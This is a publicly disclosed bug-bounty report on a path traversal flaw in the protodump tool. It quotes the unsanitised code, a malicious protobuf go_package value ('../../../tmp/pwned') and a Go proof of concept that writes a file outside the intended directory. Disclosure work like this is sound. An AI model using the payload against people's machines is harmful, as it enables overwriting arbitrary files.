HexBrain

arkadiyt-projects · Report #3384150

Arbitrary File Write

Validstatus
highseverity
56upvotes
19 Oct 2025disclosed

How it was found

Hi,

Protodump contains a path traversal vulnerability that allows to write files to arbitrary locations on the filesystem outside the intended output directory. This occurs due to insufficient validation of the go_package option extracted from protobuf descriptors embedded in analyzed binaries.

The Filename() function extracts the go_package option from protobuf descriptors without sanitization:

(pkg/protodump/protodump.go)

func (pd *ProtoDefinition) Filename() string {
    goPackage := pd.pb.GetOptions().GetGoPackage()
    index := strings.Index(goPackage, ";")
    if index == -1 {
        return pd.descriptor.Path()
    }
    // BUG: No sanitization of goPackage path
    return path.Join(goPackage[:index], path.Base(pd.descriptor.Path()))
}

The goPackage value comes directly from the protobuf descriptor being analyzed and can contain path traversal sequences like ../../../

The main function uses this unsanitized filename to construct the output path:

filename := definition.Filename()
if strings.HasSuffix(filename, ".proto") {
    dir := path.Join(*output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    os.MkdirAll(dir, 0700)
    os.WriteFile(final, []byte(definition.String()), 0700)
    fmt.Printf("Wrote %s\n", final)
}

The attack vector is the following: an attacker creates a binary containing a protobuf descriptor with a malicious go_package option:

syntax = "proto3";
package exploit;

// Malicious path traversal
option go_package = "../../../tmp/pwned;exploit";

message MaliciousMessage {
  string data = 1;
}

When the user runs protodump on this binary, the tool writes the extracted proto file outside the intended output directory (overriding any existing files with the same name in the target location)... Here is a poc emulating the code:

package main

import (
    "fmt"
    "os"
    "path"
    "path/filepath"
    "strings"
)

func main() {
    // Get absolute path for output directory
    output, _ := filepath.Abs("./safe_output")

    // Attacker-controlled values from malicious proto
    maliciousGoPackage := "../../../tmp/pwned;exploit"
    protoName := "evil.proto"

    fmt.Println("=== Protodump Path Traversal Vulnerability PoC ===")
    fmt.Println()

    // VULNERABLE CODE: Replicate protodump's logic
    index := strings.Index(maliciousGoPackage, ";")
    var filename string
    if index == -1 {
        filename = protoName
    } else {
        filename = path.Join(maliciousGoPackage[:index], protoName)
    }

    dir := path.Join(output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    finalAbs, _ := filepath.Abs(final)

    fmt.Println("Configuration:")
    fmt.Printf("  Intended output: %s\n", output)
    fmt.Printf("  Malicious input: %s\n", maliciousGoPackage)
    fmt.Println()

    fmt.Println("Path Computation:")
    fmt.Printf("  filename: %s\n", filename)
    fmt.Printf("  final:    %s\n", finalAbs)
    fmt.Println()

    // Create the file
    os.MkdirAll(dir, 0755)
    content := "syntax = \"proto3\";\n\npackage exploit;\n\nmessage Pwned { string data = 1; }\n"
    os.WriteFile(final, []byte(content), 0644)

    fmt.Println("Result:")
    fmt.Printf("  Expected: %s/evil.proto\n", output)
    fmt.Printf("  Actual:   %s\n", finalAbs)
    fmt.Println()

    if !strings.HasPrefix(finalAbs, output) {
        fmt.Println("VULNERABILITY CONFIRMED: File written outside intended directory")
    }
}

Impact

arbitrary file write on user's machine

Affected Version: Latest (commit 17ad807, verified October 2025) Repository: https://github.com/arkadiyt/protodump Installation: go install github.com/arkadiyt/protodump/cmd/protodump@latest

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original